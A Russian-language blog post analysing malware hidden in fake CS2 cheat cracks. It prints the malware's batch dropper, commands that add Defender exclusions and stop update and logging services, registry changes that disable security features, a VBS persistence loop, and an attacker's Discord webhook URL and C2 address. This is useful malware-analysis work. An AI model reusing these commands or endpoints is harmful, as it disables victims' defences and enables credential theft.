reverse
October 13

ИЗУЧАЕМ ВИРУСЫ ЧЕРЕЗ КРЯКИ

Весенний шалом, давно не виделись, и т.к. не осталось прикольных идей для статьи, то добро пожаловать на рофло-статью.
Целью сегодняшней статьи является реверс-инжиниринг самых разнообразных вирусов, которые распространяются под видом кряка читов на CS:GO/CS2.

Проблема на YouTube и Telegram

Злоумышленники давно уже маскируют вредоносное ПО под видом читов для игр, эта практика началась задолго до CS:GO, еще во времена игр ВКонтакте. Сейчас же они всё так же распространяются, но теперь ещё и под видом самого кряка чита, всё это дело публикуется на платформе YouTube. Они вписывают довольно привлекательную смесь фраз в название ролика, а именно: "Название популярного чита + Crack", чтобы заманивать наивных пользователей.

Для личного удобства перед разбором я буду писать небольшую информацию об авторах вредоносного ПО, пример: [пациент и его номер] - [уровень риска вредоносного ПО].

Уровни риска и что под эту категорию может попасть:
1. Неприятное говно (Низкий опасный потенциал) - потенциально нежелательные программы (PUP), которые не причиняют прямого вреда, но могут быть бесполезны или навязчивы.
2. Опасное говно (Средний опасный потенциал) - вредоносы, собирающие конфиденциальную информацию без ведома пользователя.
3. Деструктивное говно (Высокий опасный потенциал) - удаление важных файлов, отключение компонентов ОС, невозможность загрузки операционной системы, синий экран, зашифрованные данные, ратники

Разбор пациентов

Пациент 1 - Опасное говно (Средний опасный потенциал)

Наш первый пациент является очень хорошим примером того самого душевнобольного, который умудряется делать все платные читы бесплатными, добавляя туда свой подвох, о котором не сообщит вам, распространяя это всё на YouTube (www.youtube.com/@motoboy900) и на свой Telegram-канал (https://t.me/cs2_cheat2).

Также пациент включил смекалку и поместил малварь в 7Zip пакер (https://usbtor.ru/viewtopic.php?t=798), что позволило ему обойти детекты на virustotal.com. На рисунке представлены отношения между файлами, обнаруженными при запуске.

Теперь я распишу за что отвечает каждый файл, представленный на иллюстрации, но более подробно.

1. Cheat Installer - главный файл, который распаковывает остальные файлы в папку AppData/Local/Temp/main, и затем запускает файл main.bat
2. AntiAV.data (AntiAV/AntiAV.bat at master · hXR16F/AntiAV (github.com)) - изначально представляет собою batch-скрипт, который создаёт main.bat и помещает в него код, параллельно добавляя джанк-код и зашифровывает файл.
3. main.bat - "мозг" операции по запуску малваря, чей код представлен ниже:

Код:

mode 65,10
title g3g34g34g34g43 (34g34g45h6hj56j56j)

md extracted

ren file.bin file.zip
call 7z.exe e file.zip -p13917279271825026492155405390 -oextracted

for /l %%i in (11,-1,1) do
(call 7z.exe e extracted/file_%%i.zip -oextracted

ren file.zip file.bin

cd extracted
move "Installer.exe" ../

cd..
rd /s /q extracted

attrib +H "Installer.exe"
start "" "Installer.exe"
echo Launched 'Installer.exe'.
pausedel /f /q "Installer.exe"

Сам алгоритм довольно простой, вначале file.bin переименовывается в file.zip, и начинается процесс распаковки, используя ключ для расшифровки "13917279271825026492155405390". Структура file.zip представляют собой матрешечную вложенность, именно по этой причине здесь используется цикл для распаковки.

После распаковки file.zip обратно переименовывается в file.bin, а Installer.exe получает скрытый атрибут, делая его невидимым в стандартном представлении файловой системы, затем процесс запускается.

4. Installer.exe - вирус, при первом запуске он только инициализирует себя и отключает сервисы.

Первым, что делает вирус, так это выполняет команду в powershell:

Код:

Add-MpReference -ExclusionPath @($env;UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

Эта команда добавляет два исключения в Защитник Windows:

  • Путь: %UserProfile%
  • Путь: %ProgramData%
  • Расширение: .exe

Затем наглым образом удаляет обновление KB90830:

Код:

/c wusa /uninstall /kb:890830 /quiet /norestart

Малварь его удаляет не просто так, дело в том, что обновление 90830 связано с установкой средства удаления вредоносного ПО (Windows Malicious Software Removal Tool)

Ко всему прочему он останавливает важные службы
Код:

sc stop UsoSvc - Служба обновления Windows
sc stop WaaSMedicSvc - Служба Центра обновления Windows
sc stop wuauserv - Служба автоматического обновления Windows
sc stop bits - Служба фоновой интеллектуальной передачи данных
sc stop dosvc - Служба DistributedCOM
sc stop eventlog - Служба журнала событий

Похоже, что дело мы имеем с Crypto Silent Miner, на то указывают строки с остановкой служб: https://github.com/UnamSanctam/Sile...lentCryptoMiner/Resources/Code/miner.cpp#L121

Т.к. в реверсе open-source нет никакого смысла, то и продолжать разбирать дальше семпл не стал, но прикола ради я почекал реквест в Pastebin)0 pastebin.com/raw/nG8MdRKS

Пациент 2 - Опасное говно (Средний опасный потенциал)

Следующий пациент с ником lexoff очень хорошо раскачал свой Telegram-канал (t.me/lpsopg), где постит бесплатные читы, и чужие кряки, к которым он сам не имеет никакого отношения. Тем не менее, ему хватает наглости их склеивать со своим малварем и публиковать в открытый доступ.

Разберем его пост с кряком Primordial, к которому опять же, он не имеет никакого отношения, но не стоит удивляться, если пост с примордом пропадет.

Лоадер, как бы это неудивительно не звучало, находится под протектором Enigma с полным пресетом защиты, он проверяет наличие дебаггера, виртуальной машины и целостность (даже имя оригинальное сверяет).

Зачем и что скрывать такому честному человеку? Непонятно, но было бы интересно услышать ответ на это от самого автора канала. Теперь обсудим саму схему работы лоадера, хотя правильнее назвать его дроппером.

Используя песочницу, я обнаружил, что его лоадер создал два исполняемых файла, и затем закрылся.
Если раньше старый лоадер просто дропал Vac Bypass.exe и майнер, то сейчас "новый" лоадер слегка поменял контент, который дроппает пользователю

Для его самых избранных фанатов: архив был скачан прямиком из его телеграм-канала (а именно этот пост: https://t.me/lpsopg/290)

Разберем роль каждого из процессов
1. cli_gui.exe - Обыкновенный лоадер который весит совсем ничего, имеет зачем-то примитивную проверку на отладчик и в целом играет роль LLA инжектора с патчем NtOpenFile.

2. updater.exe - Майнер, который представлен как Microsoft Edge Updater с иконкой браузера и подписью Microsoft.

Updater.exe тоже завершает те же самые службы, что и майнер предыдущего пациента, не трудно догадаться что оба пациента используют одну и ту же пасту, но с разными настройками.

Например, майнер второго пациента использует технику Process Hollowing (What is process hollowing? (techtarget.com)) в замороженный системный процесс dialer.exe, и уже там майнит.

(Забавный факт, но на некоторых LTSC-сборках нет такого системного процесса, и майнер, не зная этого, пытается создать процесс, и с треском проваливается.)

Отдельного внимания стоит то, как именно пациент криптит строки, скрины взяты из его старого лоадера с кряком Inuria:

Он палит аргумент с голой строкой в функции, которая её криптит, и затем после полученной зашифрованной строки начинает сразу же её дексорить))00 Шифрование 10 из 10.

К сожалению, админ этого канала отказался признавать наличие малваря в своих публикациях и не захотел вести со мной адекватный диалог, поэтому рофлан поминки, идём дальше.

Надеемся, что админ канала исправится и прекратит постить говно для своей аудитории! (Не перестанет, схавают же)

Обновлено:
Появился пост где он опубликовал склеенный Luno чит со своим майнером (https://t.me/lpsopg/291), разницы с прошлым лоадером приморда буквально 0. Вот что пациент ответил на предъявы с детектами:

Лоадер оригинального Luno Free не превышает 1мб, а файл, который предоставляет пациент весит аж 11мб

Пациент 3 - Деструктивное говно (Высокий опасный потенциал)

Теперь перейдем к более серьезным малварям. На очереди у нас человек, сумевший крякнуть миднайт, и выложить готовый лоадер, который выглядит 1 в 1 как оригинальный лоадер.

Оказалось, что файл этот был написан на C#, и накрыт видоизменённым обфускатором Confuser Core 1.5.0, что доставило мне не мало проблем позже при деобфускации файла.

Первичный анализ

Во время статического анализа я заметил, что de4dot не смог распознать этот обфускатор, поэтому пришлось смотреть вручную листинг в dnSpy

Далее я полистал названия классов и обнаружил кучу пустых методов, было ясно, что это слегка видоизмененный Confuser.Core, например то же шифрование строк поменялось в лучшую сторону, да так, что ни одна паблик тулза не хотела фиксить это.

Убираем AntiTamper

Чтобы была возможность трассировать уже деобфусцированный код, нам нужно снять анти-тампер с файла, который инициализируется первым в программе, если его пропатчить до того, как он вызовется, то в последующем программа просто крашнет.

Сама цель АнтиТампера распределена на несколько этапов, а именно:
1. Поиск зашифрованного блока данных: АнтиТампер сканирует заголовки и секции файла, чтобы найти нужный ему блок данных, который изначально зашифрован в файле.
2. Дешифрование этих данных: Найденный блок данных дешифруется используя CryptoStream и XOR.
3. Проверка целостности данных: Вычисляется MD5-хэш уже дешифрованных данных и затем этот хэш сравнивается с контрольной суммой, вшитой в модуль.
4. Запись дешифрованных данных в память: Если хэши совпадают, дешифрованные данные записываются обратно в память модуля.

Избавиться от анти-тампера оказалось проще простого, во время работы программы проверка целостности ни разу не будет вызвана, это означает, что можно затереть вызов инициализации анти-тампера сразу же после его выполнения и сдампить модуль.

Слабое обнаружение VM/SandBox

После того, как я привел файл в более читабельный файл и избавился от антитампера, я принялся анализировать работу малваря.

Для начала, он проверяет, находится ли жертва под виртуальной машиной, в частности под VirtualBOX, он обращается к WMIC (Select * from Win32_ComputerSystem), в полученном результате он пытается найти слово 'virtual'. затем после удачной проверки он обращается снова к WMIC, забирая имя дисплея, и в последующем пытаясь найти слово 'basic' в нём.

И финальная проверка в методе заключается в проверке кол-во кэш-памяти, для того чтобы функция вернула false, она должна найти больше двух кэш-памяти.

Помимо этого, были еще различные методы проверки на наличие песочницы, такие как проверка на наличие модуля SbieDll.dll, что довольно неактуально на 2024 год.

Инициализация малваря

Файл создаёт директорию WindowdDebug со скрытым атрибутом, записывая туда файл с именем svchost.exe.

Перед его запуском, он записывает данные в реестр по пути {HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows} со строкой: Load "C:\\Windows\\WindowdDebug\\svchost.exe"

Когда все файлы подготовлены, исполняемый файл удаляет себя batch-скриптом, который он подготовил заранее:
Код:

chcp 65001
timeout 2 > NUL
DEL "C:\Users\57\Desktop\123.exe" /f /q
CD C:\Users\57\AppData\Local\Temp\
DEL "tmpBE3.tmp.bat" /f /q

Реестр

Перезаписанный исполняемый файл повторяет те же самые процедуры, что и его предшественник, с небольшими изменениями, именно тут он начинает полностью функционировать.

Исполняемый файл изменяет ветвь реестра HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System, устанавливая значения DisableTaskMgr в 1, а EnableLUA в 0. Это отключает диспетчер задач, что затрудняет рядовым пользователям удалить вредонос. Кроме того, оно отключает уведомления контроля учетных записей (UAC), которые предупреждают пользователей о попытках исполняемых файлов установить программное обеспечение или внести изменения в систему.

Под раздачу попали и FirewallEnable с DisableAntiSpyware, выключая брандмауэр и защитник Windows.

Авто-поднятие малваря

Исполняемый файл создаёт в папке Temp скрипт script.vbs, и заполняет его кодом:

Код:

On Error Resume Next
Do while true
CreateObject("WScript.Shell").Exec "C:\Windows\WindowdDebug\svchost.exe"
WScript.Sleep(10000)
Loop

Скрипт автоматически запускает исполняемый файл каждые десять секунд, если обнаруживается копия запущенного процесса, она завершается.

Сам вирус тоже отслеживает работу wscript с помощью отдельного потока, чтобы предотвратить его закрытие.

Winlocker + CelestialRAT

Оказалось, что ко всему прочему, тут был и Winlocker, но он по неизвестной мне причине отказывался появляться на экране, несмотря на то, что инициализация формы (инициализация кнопок, текста, панелей) проходила, и мимо пролетали такие строки, как "Windows Заблокирован", "Attempts", "Unlock Windows":

В дальнейшем, анализ показал наличие не только наличие граббера и винлокера, но и полноценного ратника Celestial RAT, о чем свидетельствует использование характерного имени файла при создании архива, а сам метод создания показан на скриншоте:

При первой отправке логов граббер старается унести важные файлы, которые так или иначе светят слово 'license', так он забрал файлы лицензии de4dot.

Вот как выглядит первый лог:
Код:

ZipFile:
Comment:
CelestialRAT - log (RU)

/ System \\
Date: 2024-04-04 10:41:59
ComputerName: KOMPUTER
UserName: 57
Language: ru-RU

/ Hardware \\
GPU: Penis
CPU: AMD Ryzen 5 3600 6-Core Processor              ; AMD Ryzen 5 3600 6-Core Processor              ; AMD Ryzen 5 3600 6-Core Processor              ; AMD Ryzen 5 3600 6-Core Processor           
RAM Amount: 8191MB
Screen Metrics: 3238x1280
uses ZIP64: False
disk with CD: 0
CD offset: 0x00000000

Затем граббер начинает проверять наличие важных сессий у зараженной жертвы, такие как телеграм сессии, дискорд-токен, и пароли, куки и отправляет уже второй лог, используя веб-хук дискорда:
Код:

"Celestial RAT / A New log arrived.
Client time: 2024-04-04 10:41:59
Country: RU (-)
UserName: 57
MachineName: KOMPUTER
GPU: Penis
CPU: AMD Ryzen 5 3600 6-Core Processor              ; AMD Ryzen 5 3600 6-Core Processor              ; AMD Ryzen 5 3600 6-Core Processor              ; AMD Ryzen 5 3600 6-Core Processor           
RAM: 8191MB
System: Windows 10 Enterprise LTSC 2021 64-bit (OS Build 19044)
Screen: 3238x1280
-------------------------------------------------
Passwords : 0
Cookies : 0
Autofills : 0
Discord tokens : 0
Wallets : 0
Filezilla hosts : 0
Telegram sessions : 0
-------------------------------------------------Password:-"

Сам метод отправки через веб-хук выглядит так:

А, ну и по классике сам вебхук того, кто распространяет вредонос - "https://discord.com/api/webhooks/1218742675298189493/LGP6NKebRjk45CruPCEM6WhUQ-uABkvX-jZS9LV1s4Kl5BmIeSxtvSRfz3UHDIMrxces"

Пациент 4 - Неприятное говно (Низкий опасный потенциал)

Четвёртый пациент на своём ютуб-канале публикует стиллер, написанный на C++ и сразу скажу, что исполняемый файл для хранения информации о пользователе использует локальную базу данных - sqlite3 и архивирует все это дело через ZLib, и всё это подносится, опять же, под видом крякнутого миднайта.

Исполняемый файл никак не пытается защитить себя от обнаружения, он не запакован чем-либо, не пытается обнаружить виртуальную машину или отладчик, не добавляется в автозагрузку. ничего кроме шифрования строк оно не использует, но опять же, даже при статическом анализе в дизассемблере всё становится очевидным.

Первый запуск

Для начала после вызова main функции, исполняемый файл создает мьютекс и ждёт пока пользователь нажмёт кнопку Escape. После нажатия вирус получает путь до папки Temp, чтобы хранить там базу данных. Затем начинает воровать у пользователя данные.

Если говорить о том что именно он ворует, то тут дефолтный набор стиллера:

  • Скриншот - Делается первым же делом после создания мьютекса и прожатия клавиши, сохраняя название файла как 'Desktop.jpg'.
  • Steam - Обращается в реестр по пути "Software\Valve\Steam\AutoLoginUser", если такой путь есть и удается прочитать имя, то следующим делом он получает путь до папки стима, проверяет наличие таких файлов, как: "loginusers.vdf", "config.vdf", "ssfn", при наличии копирует их к себе.
  • FileZilla - Проверяет наличие папки с таким названием, в случае наличия читает файл recentserver.xml и сохраняет к себе поля "Host", "User", "Pass", "Port".
  • VPN - Проверят наличие папки NordVPN и OpenVPN, если нашел NordVPN, то читает и копирует user.config "//setting[@name='Username']/value", "//setting[@name='Password']/value". Если нашел OpenVPN, то читает файлы ".ovpn".
  • Discord - Читает файл по пути "discord/Local Storage/leveldb", и в нем ищет упоминание слова "token".
  • Telegram - Копирует всё содержимое из Telegram Desktop/tdata к себе.
  • Desktop Files - Ищет на рабочем столе расширение "lua", "cpp", "h", "hpp", "doc", "docx" и копирует их к себе.

Непредусмотрительность разработчикаПо сути, анализировать то особо нечего, но есть одна неприятная бага для разработчика.

В исполняемом файле есть функция, назовём её "getFilesFromDirectories", она представляет собой алгоритм поиска файлов в указанных директориях, включая все вложенные директории. Для этого она использует рекурсивный подход, т.е. когда функция находит директорию, она вызывает сама себя, передавая новый путь к директории в качестве аргумента. Это позволяет ей проходить по всей вложенной иерархии директорий и искать файлы во всех из них.

Причина по которой этому вирусу была выдана низкая опасная потенциальность взаимосвязана с этой функцией. Дело в том, что функция вне своей рекурсии вызывается два раза, для поиска файлов в папке Roaming и Local.

Первый вызов обходится без проблем, но вызов второй функции буквально останавливает программу, причем буквально, в моем случае функция вызвала себя 205 раз, и на 206 полностью перестала функционировать, трассировка же просто показывала, что сейчас EIP находится на одном из экспортов ntdll функции, и выходом из ситуация был только перезапуск вируса.

Из-за этой проблемы, вирус не в состоянии был отправить логи на сервер.

Функция "getFilesFromDirectories" является лишь верхушкой айсберга, когда я снимал трассировку, я заметил, что последними вызываемыми функциями были OpenProcess и NtQueryObject.

Функция действительно имеет отдельный метод для этого, назовём его getMemoryCookies, по псевдо этой функции можно понять, что она проходится по всем процессам, и пытается найти в их памяти упоминание куки-файлов, вызывая функцию isNetworkCookieObject.

Псевдо isNetworkCookieObject:

И так как getMemoryCookies в цикле проходится по всем процессам, то нужно было понять, на каком процессе именно происходит зависание программы. Во время трассировки я обнаружил, что во время зависания в OpenProcess лежал процесс айди моего браузера., но я не успел узнать на какой функции именно произошло зависание, поэтому я накидал лёгкий скрипт, который проверял процесс айди моего браузера с аргументом в OpenProcess:
Perl:

$handleCounter = 0
$currentProcId = 0

addr = 008AF941
bp addr
SetBreakpointCommand addr, "scriptcmd call check_proc_id"
ret

check_proc_id:
$currentProcId = arg.get(1)
log "OpenProcess({$currentProcId})"
cmp $currentProcId, 0x6C0
je found
erun
ret

found:
inc $handleCounter
cmp $handleCounter, 4
je found2
erun
ret

found2:
msg "gay found"
ret

знаю, что я мог просто добавить условие бряка по другому, облегчив себе немного жизнь, но я чет забыл про это)0

Так вот, попав в момент, когда малварь начал сканировать msedge.exe, я начал трассировать, и дошел до функции isNetworkCookieObject, где фигурируют два вызова NtQueryObject.

Один вернул мне 0xC0000004 (STATUS_LENGTH_MISMATCH), а второй вызов дедлокнул поток, на месте самого разработчика я бы выносил эту функцию в отдельный поток, да бы она не препятствовала работе основного потока.

Подробнее про NtQueryObject и причину дедлока можете почитать на этих источниках:
https://wasm.in/threads/vopros-po-ntqueryobject-deadlock.678

NtQueryObject виснет намертво :-\ -> Форум на Исходниках.Ру (sources.ru)
NtQueryObject и W2K3 - в чем там проблема? - Низкоуровневое программирование - RSDN

А если вкратце, то причина дедлока может быть разной, одна из версий гласит про запрет использования специальных именованных пайп-каналов, которая и приводит к дедлоку.

Отправка логов на сервер

Занопав функцию, которая мешала мне, малварь начал подготовку отправки логов на сервер, что для начала идёт подсчёт количество собранной информации - пароли, куки, автозаполнения, и прочая информация, по типу винды, оперативы, гпу, цпу и тд.

Затем происходит подключение к 109.94.208.20, и начинает соединять всю собранную информацию в одну строку:
Код:

- Passwords: 0
- Cookies: 0
- Autofill: 0
- Cards: 0
- Files: 1
- BuildTag: midnight ; Т.к. наш юзер распространяет этот малварь под разными читами, то в логе он помечает с какого именно псевдо-чита он заразил пользователя, мой семпл, например, был якобы кряком миднайта.
- PC Hash: e4379b4b38e56460add653458a687e0f
- UserID: 1191696757
- Windows: 10
- Windows Username: 57
- RAM: 8191 MB
- GPU: Penis
- CPU: AMD Ryzen 5 3600 6-Core Processor           
- HWID: {58007656-f0da-11ee-ba17-806e6f6e6963}
- ScreenSize: 3238x1280
- BuildPath: C:\Users\57\Desktop\Midnight Loader.exe

И вся это строка проходится по довольно банальной шифровке -> base64.

На выходе мы получаем такую строчку:
Код:

LSBQYXNzd29yZHM6IDAKLSBDb29raWVzOiAwCi0gQXV0b2ZpbGw6IDAKLSBDYXJkczogMAotIEZpbGVzOiAxCi0gQnVpbGRUYWc6IG1pZG5pZ2h0Ci0gUEMgSGFzaDogZTQzNzliNGIzOGU1NjQ2MGFkZDY1MzQ1OGE2ODdlMGYKLSBVc2VySUQ6IDExOTE2OTY3NTcKLSBXaW5kb3dzOiAxMAotIFdpbmRvd3MgVXNlcm5hbWU6IDU3Ci0gUkFNOiA4MTkxIE1CCi0gR1BVOiBQZW5pcwotIENQVTogQU1EIFJ5emVuIDUgMzYwMCA2LUNvcmUgUHJvY2Vzc29yICAgICAgICAgICAgICAKLSBIV0lEOiB7NTgwMDc2NTYtZjBkYS0xMWVlLWJhMTctODA2ZTZmNmU2OTYzfQotIFNjcmVlblNpemU6IDMyMzh4MTI4MAotIEJ1aWxkUGF0aDogQzpcVXNlcnNcNTdcRGVza3RvcFxNaWRuaWdodCBMb2FkZXIuZXhl

Отправляя её, следом отправляется и следующий пакет, содержащий архив с нашими данными, указатель которой находится в выделенной памяти, вот как выглядит архив:

Заключение

К сожалению, на сегодняшний день очень много людей, которые не проверяют файлы на наличие вирусов и верят всему подряд, пользуйтесь действительно проверенными временем источниками, такими как Underical или ExLoader, берегите себя!